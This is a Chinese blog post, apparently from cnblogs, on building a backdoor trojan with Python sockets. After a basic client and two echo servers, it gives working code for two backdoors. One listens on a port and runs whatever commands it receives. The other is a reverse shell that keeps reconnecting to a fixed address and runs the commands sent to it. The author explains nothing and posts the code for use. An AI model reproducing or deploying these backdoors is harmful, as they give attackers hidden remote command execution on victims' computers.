python socket编程制作后门木马(原创)

懒得解释怎么写出来的,直接上代码

 

Client:  简单连接服务器

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
socket.setdefaulttimeout(5)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host )

message = "GET / HTTP/1.1\r\n\r\n"

s.connect((remote_ip, port))
s.sendall(message)

reply = s.recv(4096)

print reply

 

 

Server:  单线程,长久监听服务,长连接,会话先进先出排队原则

#!/usr/bin/python
#coding:utf-8

import socket 
import sys

HOST = ''
PORT = 444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

while 1:
    conn, addr = s.accept()
    print "[+] connecting" , addr[0] + ":" , addr[1]
    conn.send("Welcome to the server. Type something like:"
            "COOKIE,GET,POST and hit <ENTRE>\n")
    while 1:
        data = conn.recv(1024)
        print data
        if data == "GET\n":
            data = "OK, wait a moment\n"
        if data == "POST\n":
            data = "I am not a http server\n"
        if data == "COOKIE\n":
            data = "a cookie Biscuits??\n"
        if data:
            conn.sendall(data)
        else:
            break
    
    conn.close()
s.close()

 

 Server:  多线程,长久监听服务,长连接,同步处理会话

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
from thread import *

HOST = ''
PORT = 555

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

def clientthread(conn):
    conn.send("Welcome to the server. Type something like:"
            "COOKIE,GET,POST and hit <ENTRE>\n")
    while 1:
        data = conn.recv(1024)
        print data
        if data == "GET\n":
            data = "OK, wait a moment\n"
        if data == "POST\n":
            data = "I am not a http server\n"
        if data == "COOKIE\n":
            data = "a cookie Biscuits??\n"
        if data:
            conn.sendall(data)
        else:
            break
    conn.close()
        

while 1:
    conn, addr = s.accept()
    print "[+] connecting" , addr[0] + ":" , addr[1]
    start_new_thread(clientthread, (conn,))

s.close()

    

 

 BackDoor: 结合命令执行制作后门木马(正向)

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
import commands
from thread import *

HOST = ''
PORT = 854

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

def clientthread(conn):
    conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
    while 1:
        conn.send("Demon_Backdoor# ")
        data = conn.recv(1024)
        if data:
            cmd = data.strip("\n")
            code,res = commands.getstatusoutput(cmd)

            if code == 0 :
                conn.sendall(res+"\n")
            else:
                print "[-]Error: code",code
            data = ""

        else:
            break

    conn.close()
        

while 1:
    conn, addr = s.accept()
    print "[+] connecting" , addr[0] + ":" , addr[1]
    start_new_thread(clientthread, (conn,))

s.close()

  

BackDoor: 反弹shell(反向)

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
import commands
from time import sleep
from thread import *

HOST = "192.168.10.24"
PORT = 444


def clientthread(s):
    global isConnect
    s.send("Welcome demon's backdoor!".center(50,"*") + "\n")

    while 1:
        s.send("Demon_Backdoor# ")
        data = s.recv(1024)
        if data :
            cmd = data.strip("\n")
            code,res = commands.getstatusoutput(cmd)

            if code == 0 :
                s.sendall(res+"\n")
            else:
                print "[-]Error: code",code
            data = ""
        else:
            break


while 1:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        print "[+] connecting" , HOST + ":", PORT
        clientthread(s)
        #start_new_thread(clientthread, (s,))
        s.close()
    except:
        sleep(0.5)

转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html

posted @ 2018-03-28 21:23  Khazix  阅读(2106)  评论(1编辑  收藏  举报